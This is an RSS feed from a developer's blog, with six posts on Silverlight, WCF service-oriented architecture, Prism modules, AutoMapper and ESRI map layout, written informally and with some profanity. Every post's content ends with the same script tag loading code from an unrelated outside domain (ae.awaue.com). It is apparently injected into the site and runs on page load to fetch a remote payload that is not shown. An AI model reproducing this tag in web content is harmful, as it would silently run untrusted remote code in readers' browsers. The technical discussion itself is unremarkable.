<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Polerecky &#187; silverlight</title>
	<atom:link href="http://eric.polerecky.com/archives/category/silverlight/feed/" rel="self" type="application/rss+xml" />
	<link>http://eric.polerecky.com</link>
	<description>An outlet for my obsession with technology</description>
	<lastBuildDate>Mon, 14 Jun 2010 14:00:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Dirty Sex: SOA Gone Wong?</title>
		<link>http://eric.polerecky.com/archives/dirty-sex-soa-gone-wong/</link>
		<comments>http://eric.polerecky.com/archives/dirty-sex-soa-gone-wong/#comments</comments>
		<pubDate>Mon, 14 Jun 2010 14:00:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[SOA]]></category>
		<category><![CDATA[WCF]]></category>
		<category><![CDATA[silverlight]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/?p=466</guid>
		<description><![CDATA[<br/>[Disclaimer: This post had a point. ChannelFactory vs. Proxy vs. Hand Rolled Proxy. That point got lost along the way.]
The “application” that I am working on is more of a platform then a single application. Our solution contains over 150 projects and is organized into what we call, sub-systems. A sub-system is basically a stand-alone


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>[Disclaimer: This post had a point. ChannelFactory vs. Proxy vs. Hand Rolled Proxy. That point got lost along the way.]</p>
<p>The “application” that I am working on is more of a platform then a single application.<strong> Our solution contains over 150 projects</strong> and is organized into what we call, sub-systems. A sub-system is basically a stand-alone application. sub-systems contain web, shared, service, configuration and testing projects. They can be deployed independently and are designed to be one piece in a larger SOA. These sub-systems are broken down into 5 categories of work. Web (MVC/Silverlight/API), Services, Data (Entities/NHibernate), Queuing, and Support.</p>
<p>For the last years worth of development, with the exception of the silverlight clients talking back to the web server via service reference generated proxy classes, we&#8217;ve been using a Service Factory/Locator pattern. Currently the development team is considering the merits of this implementation and possible alternatives.</p>
<p>Personally; I really like our current design, it follows the basic tenants of SOA and provides many benefits. The benefits out-weight the drawbacks and the drawbacks SHOULD be easy to overcome.</p>
<h4>Cross Sub-System Communication</h4>
<p>Every sub-system has a “shared” library project that houses it’s interfaces. This library is designed to hold only items that need to be shared between sub-systems. Service contracts, request and response messages and data contracts are typical items that should be in the “shared” library project in the sub-system.</p>
<p>When SS-A wants to call a service on SS-B, SS-A adds a project reference to the SS-B’s shared project. Next, SS-A uses our ServiceFactory class to locate and/or create the channel and service client. Now SS-A can work with SS-B’s methods as if they were local and without the need for a service reference or generated proxy class.</p>
<p>Screen-shot here.</p>
<p>We use this pattern because we have control of both the client and server code. </p>
<ol>
<li>Separating the web and app tier.</li>
<li>No need to update ref/proxy when service changed.</li>
<li>Compile time checks.</li>
<li>Testable – Not that we are doing it.</li>
<li>Less code to maintain.</li>
</ol>
<h4>Problems With Current Implementation:</h4>
<ol>
<li>Can’t mock ServiceFactory – I shouldn’t say “can’t”, I just don’t think we’ve tried. Are tests are shit right now anyway.</li>
<li>The Shared project in every sub-system has become a dumping ground for implementations that don’t fit into our current project structure. For example, validators, extensions, repositories, and on and on are in these shared projects. </li>
</ol>
<h4>Shared Sub-System Bloat</h4>
<p>At first this does not sound like a very big deal until you start to work with it. Every class added to the shared projects could potentially have a dependency on another sub-system. When this happens the entire platform starts to break down into <strong>a spider-web of dependency hell.</strong></p>
<p>No really! This is the fucking problem! When I add a reference to a shared project I, by-proxy, add a reference to up to 40 other projects! The shared project in each sub-system should not have ANY references. It should only contain interfaces and/or contracts.</p>
<blockquote><p><em>“The shared project in each sub-system should not have ANY references”</em></p>
</blockquote>
<h4>Serving &amp; Consuming SOA</h4>
<p>There are 2 main sub-systems that act as the services in our SOA. They reside on our application servers, have access to the database, don’t (shouldn’t) communicate with each other and provide a bulk of the business logic. </p>
<p>The consumers of these sub-systems include a web application, console applications, windows services, silverlight web hosts. These systems use the ServiceFactory class to communicate with the application servers. </p>
<h4>F’ing up the program</h4>
<p>The silverlight systems have another hop as they have to send the data down to the client. Our original design was to use RIA Services to emulate being on the server and hopefully write less code. However; since we moved to visual studio 2010 and couldn’t get .NET 4.0 on the servers our team decided to remove RIA. </p>
<p>Now we have a situation where the Silverlight clients need communicate back to their web servers. We used “Right Click-&gt; Add Service Reference” to generate the proxy and a service locator to create the client.</p>
<h4>Knee-Jerk Reactions</h4>
<p>Our dev team, for some crazy reason, is suggesting that having a hand generated service proxy will be easier to mock then one generated via “Add Service Reference”. Also, they are adding “ServiceFactory” like code to the silverlight clients. I don’t know why we can’t use our current implementation by using linked classes in a silverlight class library and more importantly: How this is better in any way?</p>
<h4>Proxy Class Fail</h4>
<p>I feel that the champions for hand rolled proxies are looking at the problem idiosyncratically. The extra work required to keep the client and server code in sync (for both Silverlight and inside the platform) would FAR out weight the benefit of hand rolling proxies. </p>
<p>I just don’t think they realize the amount of use the ServiceFactory gets throughout the platform. </p>
<h4>Testing WCF</h4>
<p>I am far from a testing expert but I am pretty damn good at the googles.</p>
<ol>
<li><a title="http://mokosh.co.uk/post/2009/04/19/prism-2-wpf-and-silverlight-services/" href="http://mokosh.co.uk/post/2009/04/19/prism-2-wpf-and-silverlight-services/">http://mokosh.co.uk/post/2009/04/19/prism-2-wpf-and-silverlight-services/</a> &#8211; (we use prism)</li>
<li><a href="http://houseofbilz.com/archives/2008/11/18/testing-wcf-service-apps-part-0-of-4/">http://houseofbilz.com/archives/2008/11/18/testing-wcf-service-apps-part-0-of-4/</a> &#8211; (we use RhinoMock)</li>
<li><a title="http://stackoverflow.com/questions/2509316/best-way-to-mock-wcf-client-proxy" href="http://stackoverflow.com/questions/2509316/best-way-to-mock-wcf-client-proxy">http://stackoverflow.com/questions/2509316/best-way-to-mock-wcf-client-proxy</a> &#8211; (client proxy)</li>
</ol>
<h4>Governance</h4>
<p>SOA is a complex technology theory that can’t be bought. It requires buy-in from a team, developers and someone to watch over the implementation. Every developer thinks they understand SOA, when asked to implement it they create services and then complain that they don’t need SOA. </p>
<p>When I spent Christmas even developing across 4 layers just to get a fucking coupon onto a page. I bitched but I didn’t break the existing convention. I spent endless hours trying to understand how to fit MVC and SOA into the same project. During my development vietnam, SOA was a pain-in-the-ass, but now that we have a “stable” codebase and have 20/20 I can see how SOA will save our ass when the time comes.&#160; </p>
<h4>Coup d&#8217;état</h4>
<p>A bunch of words go here. They aren’t important. Just know that when implementing SOA the development staff will constantly say things like “this would be so much easer if I could call the database”. SOA is not for developers; it’s for the project and the organization (much like TFS).</p>
<blockquote><p>SOA is not for the developers; it’s for the project and the organization. </p>
</blockquote>
<h4>Concluding</h4>
<p>I think that Silverlight clients should use “Add Service Reference” to generate proxies for a few reasons:</p>
<ol>
<li>Right click “Update Service Reference” is much easier then keeping client and server code in sync. </li>
<li>We are in pretty rapid development.</li>
<li>We can mock the service.</li>
</ol>
<p>Silverlight clients could, not for us, not now, use nant to keep the proxies up-to-date.</p>
<p>All service communication from the web to app tier should use the ServiceFactory pattern.</p>
<p>Console applications, windows services don’t use a consistent pattern. We need to resolve that.</p>
<h4>Explicitly Covering My Ass</h4>
<p>If any of my co-workers happen to read this: I wrote most of the code I’m suggesting needs to be fixed. It’s how I (we) spent my (our) holidays. </p>
<p>I’m just putting some thoughts down so I can understand the situation. I’ve rewrote this a few times when I grasped certain concepts/implementations/reactions/reasons/etc.</p>
<p>I think this sums it up. Now I need to get that one last question answered. </p>
<p><strong><em>Why check in proxies for sub-systems that we have control over the client and server?</em></strong></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/dirty-sex-soa-gone-wong/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Silverlight Custom Control Theming</title>
		<link>http://eric.polerecky.com/archives/silverlight-custom-control-theming/</link>
		<comments>http://eric.polerecky.com/archives/silverlight-custom-control-theming/#comments</comments>
		<pubDate>Wed, 28 Apr 2010 17:15:20 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[silverlight]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/silverlight-custom-control-theming/</guid>
		<description><![CDATA[<br/>Quick tip:
If you want to put your custom controls in a separate assembly you need to include the layout (generic.xml) in that assembly.




Related posts:Thoughts on Silverlight In a recent post Jamie Kosoy, who I believe is...
AutoMapper.Silverlight I could, and will soon, write a long ass post...
Silverlight, Actions and Prism  When using Prism for composition


Related posts:<ol><li><a href='http://eric.polerecky.com/archives/thoughts-on-silverlight/' rel='bookmark' title='Permanent Link: Thoughts on Silverlight'>Thoughts on Silverlight</a> <small>In a recent post Jamie Kosoy, who I believe is...</small></li>
<li><a href='http://eric.polerecky.com/archives/automapper-silverlight/' rel='bookmark' title='Permanent Link: AutoMapper.Silverlight'>AutoMapper.Silverlight</a> <small>I could, and will soon, write a long ass post...</small></li>
<li><a href='http://eric.polerecky.com/archives/silverlight-actions-and-prism/' rel='bookmark' title='Permanent Link: Silverlight, Actions and Prism'>Silverlight, Actions and Prism</a> <small> When using Prism for composition in Silverlight how do...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<br/><p>Quick tip:</p>
<p>If you want to put your custom controls in a separate assembly you need to include the layout (generic.xml) in that assembly.</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/04/image.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/04/image_thumb.png" width="178" height="197" /></a></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://eric.polerecky.com/archives/thoughts-on-silverlight/' rel='bookmark' title='Permanent Link: Thoughts on Silverlight'>Thoughts on Silverlight</a> <small>In a recent post Jamie Kosoy, who I believe is...</small></li>
<li><a href='http://eric.polerecky.com/archives/automapper-silverlight/' rel='bookmark' title='Permanent Link: AutoMapper.Silverlight'>AutoMapper.Silverlight</a> <small>I could, and will soon, write a long ass post...</small></li>
<li><a href='http://eric.polerecky.com/archives/silverlight-actions-and-prism/' rel='bookmark' title='Permanent Link: Silverlight, Actions and Prism'>Silverlight, Actions and Prism</a> <small> When using Prism for composition in Silverlight how do...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/silverlight-custom-control-theming/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AutoMapper.Silverlight</title>
		<link>http://eric.polerecky.com/archives/automapper-silverlight/</link>
		<comments>http://eric.polerecky.com/archives/automapper-silverlight/#comments</comments>
		<pubDate>Mon, 18 Jan 2010 14:40:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[AutoMapper]]></category>
		<category><![CDATA[GitHub]]></category>
		<category><![CDATA[silverlight]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/automapper-silverlight/</guid>
		<description><![CDATA[<br/>I could, and will soon, write a long ass post about how I cobbled together a messed-up architecture for building Silverlight applications on top of an enterprise class SOA architecture without RIA but with RIA&#8230;
Here is a branch of AutoMapper, compiled against Silverlight and now with support for entities generated from WCF service references.
http://github.com/detroitpro/AutoMapper.Silverlight
I really


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>I could, and will soon, write a long ass post about how I cobbled together a messed-up architecture for building Silverlight applications on top of an enterprise class SOA architecture without RIA but with RIA&#8230;</p>
<p>Here is a branch of AutoMapper, <a href="http://automapper.codeplex.com/SourceControl/PatchList.aspx" target="_blank">compiled against Silverlight</a> and now with support for entities generated from WCF service references.</p>
<p><a title="http://github.com/detroitpro/AutoMapper.Silverlight" href="http://github.com/detroitpro/AutoMapper.Silverlight">http://github.com/detroitpro/AutoMapper.Silverlight</a></p>
<p>I really hope I published it to GitHub correctly; yell at me if not.</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/automapper-silverlight/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Thoughts on Silverlight</title>
		<link>http://eric.polerecky.com/archives/thoughts-on-silverlight/</link>
		<comments>http://eric.polerecky.com/archives/thoughts-on-silverlight/#comments</comments>
		<pubDate>Wed, 07 Oct 2009 20:05:14 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[silverlight]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/thoughts-on-silverlight/</guid>
		<description><![CDATA[<br/>In a recent post Jamie Kosoy, who I believe is a flash developer, posted his thoughts on his first Silverlight project. I’m also green to Silverlight and just finished my first project. I’ll save the post about my thoughts for another day; but I wanted to add my two cents regarding Jamie’s observations.
&#160;
Timeline animation is


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>In a recent post <a href="http://twitter.com/jkosoy" target="_blank">Jamie Kosoy</a>, who I believe is a flash developer, <a href="http://www.bigspaceship.com/blog/labs/thoughts-on-silverlight/" target="_blank">posted his thoughts</a> on his first Silverlight project. I’m also green to Silverlight and just finished my first project. I’ll save the post about my thoughts for another day; but I wanted to add my two cents regarding Jamie’s observations.</p>
<p>&#160;</p>
<h2>Timeline animation is different.</h2>
<p><strong></strong>Flash uses a key frame based animation framework, Silverlights animation is based on time. Seems simple, and as someone coming from jQuery heavy development it was, but I can see how it would take a second too understand.</p>
<h3>Silverlight is the better videoplayer solution</h3>
<p>Adaptive streaming is amazing. The power to stream a single feed (HD) and have it chunked up into bit size bits for clients of all connection speeds to render with as much bandwidth/gpu power they have can’t be overstated.</p>
<h3><strong>XAPs aren&#8217;t fun to load&#8230;</strong></h3>
<p>Building even the simplest of applications without Prism, and soon MEF, is like coding with one hand. Yeah; you can do it but its hard, painful and frustrating. I hear parts of Prism are being pulled into SL4, I’ve voting for regions, modules, and events.</p>
<h3><strong>Classes can get really messy</strong></h3>
<p> 
<p>C# is powerful; with great power comes great responsibility. <img src='http://eric.polerecky.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h3>Building on OS X is critical.</h3>
<p>I believe you can use MonoDevelop and Moonlight to develop silverlight applications on a mac. (Alpha)</p>
<h3>Learning C# and Blend is empowering</h3>
<p>C# Yes, Blend Yes, Declarative Programming in XAML – Big Fat No – Web ASP.NET Webforms. It causes more problems then it solves. </p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/thoughts-on-silverlight/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Silverlight, Actions and Prism</title>
		<link>http://eric.polerecky.com/archives/silverlight-actions-and-prism/</link>
		<comments>http://eric.polerecky.com/archives/silverlight-actions-and-prism/#comments</comments>
		<pubDate>Sun, 20 Sep 2009 00:56:05 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[prism]]></category>
		<category><![CDATA[silverlight]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/silverlight-actions-and-prism/</guid>
		<description><![CDATA[<br/>
When using Prism for composition in Silverlight how do I attach actions between modules?
Am I forced to use the event system or is there a way to set the TargetName for my Actions to the name of a UserControl in a different module?
For Example:
&#60;Image Height=&#34;40&#34; HorizontalAlignment=&#34;Right&#34; VerticalAlignment=&#34;Bottom&#34; Width=&#34;40&#34; Source=&#34;/SilverlightDemo.MainToolbar;Component/Images/i_chart.png&#34; Stretch=&#34;Fill&#34; Canvas.Left=&#34;222&#34; Canvas.Top=&#34;55&#34;&#62;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &#60;i:Interaction.Triggers&#62;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &#60;i:EventTrigger EventName=&#34;MouseLeftButtonDown&#34;&#62;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><div class="post-text">
<p>When using Prism for composition in Silverlight how do I attach actions between modules?</p>
<p>Am I forced to use the event system or is there a way to set the TargetName for my Actions to the name of a UserControl in a different module?</p>
<p>For Example:</p>
<pre class="prettyprint"><code><span class="pun">&lt;</span><span class="tag">Image</span><span class="pln"> </span><span class="atn">Height</span><span class="pun">=</span><span class="atv">&quot;40&quot;</span><span class="pln"> </span><span class="atn">HorizontalAlignment</span><span class="pun">=</span><span class="atv">&quot;Right&quot;</span><span class="pln"> </span><span class="atn">VerticalAlignment</span><span class="pun">=</span><span class="atv">&quot;Bottom&quot;</span><span class="pln"> </span><span class="atn">Width</span><span class="pun">=</span><span class="atv">&quot;40&quot;</span><span class="pln"> </span><span class="atn">Source</span><span class="pun">=</span><span class="atv">&quot;/SilverlightDemo.MainToolbar;Component/Images/i_chart.png&quot;</span><span class="pln"> </span><span class="atn">Stretch</span><span class="pun">=</span><span class="atv">&quot;Fill&quot;</span><span class="pln"> </span><span class="atn">Canvas</span><span class="pln">.</span><span class="atn">Left</span><span class="pun">=</span><span class="atv">&quot;222&quot;</span><span class="pln"> </span><span class="atn">Canvas</span><span class="pln">.</span><span class="atn">Top</span><span class="pun">=</span><span class="atv">&quot;55&quot;</span><span class="pun">&gt;</span><span class="pln">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="pun">&lt;</span><span class="tag">i:Interaction</span><span class="pln">.</span><span class="atn">Triggers</span><span class="pun">&gt;</span><span class="pln">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="pun">&lt;</span><span class="tag">i:EventTrigger</span><span class="pln"> </span><span class="atn">EventName</span><span class="pun">=</span><span class="atv">&quot;MouseLeftButtonDown&quot;</span><span class="pun">&gt;</span><span class="pln">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="pun">&lt;</span><span class="tag">Actions:ToggleCollapseAction</span><span class="pln">

&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="atn">TargetName</span><span class="pun">=</span><span class="atv">&quot;HERE:/SilverlightDemo.Modules.TargetModule;Views/TargetModuleView&quot;</span><span class="pln"> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="atn">CollapseHorizontal</span><span class="pun">=</span><span class="atv">&quot;False&quot;</span><span class="pln"> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="atn">CollapseVertical</span><span class="pun">=</span><span class="atv">&quot;False&quot;</span><span class="pun">/&gt;</span><span class="pln">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="pun">&lt;/</span><span class="tag">i:EventTrigger</span><span class="pun">&gt;</span><span class="pln">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="pun">&lt;/</span><span class="tag">i:Interaction</span><span class="pln">.</span><span class="atn">Triggers</span><span class="pun">&gt;</span><span class="pln">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="pun">&lt;/</span><span class="tag">Image</span><span class="pun">&gt;</span><span class="pln"></span></code></pre>
</div>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/silverlight-actions-and-prism/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ESRI Silverlight Map vs. Prism Regions</title>
		<link>http://eric.polerecky.com/archives/esri-silverlight-map-vs-prism-regions/</link>
		<comments>http://eric.polerecky.com/archives/esri-silverlight-map-vs-prism-regions/#comments</comments>
		<pubDate>Tue, 08 Sep 2009 14:00:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[esri]]></category>
		<category><![CDATA[gis]]></category>
		<category><![CDATA[prism]]></category>
		<category><![CDATA[silverlight]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/esri-silverlight-map-vs-prism-regions/</guid>
		<description><![CDATA[<br/>After a day or so of working with Silverlight it became quite apparent that you can’t, no you Shouldn’t build Silverlight LOB (Line of Business) applications without Prism. 
Prism offers a way to break down your application into modules. And it uses Regions as a way to put it all back together again. Its very


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>After a day or so of working with Silverlight it became quite apparent that you can’t, no you Shouldn’t build Silverlight LOB (Line of Business) applications without Prism. </p>
<p>Prism offers a way to break down your application into modules. And it uses Regions as a way to put it all back together again. Its very similar to the ASP.NET MasterPage/Content area approach. </p>
<p>Unfortunately for me; the control toolkit I’m using (I work for GISi now; its a mapping company…more on that in a future post) is from ESRI but none of the ESRI samples use Prism. When I got down to the nitty gritty I ended up tearing out my hair over my inability to make the map control do two things.</p>
<ol>
<li>Live in a module (a module is a separate project) </li>
<li>Take up 100% of the height and width of the shell. – Its a prism term – long post and screencasts coming soon. </li>
</ol>
<p>I could make the map do 1 or 2 but not 1 and 2&#8230;that is until I got some help from <a href="http://www.sharpgis.net/" target="_blank">@sharpgis</a></p>
<p><a href="http://forums.esri.com/Thread.asp?c=158&amp;f=2455&amp;t=290394&amp;mc=4">http://forums.esri.com/Thread.asp?c=158&amp;f=2455&amp;t=290394&amp;mc=4</a></p>
<p>So, the key is to use </p>
<pre> HorizontalContentAlignment=&quot;Stretch&quot; VerticalContentAlignment=&quot;Stretch&quot;</pre>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/esri-silverlight-map-vs-prism-regions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
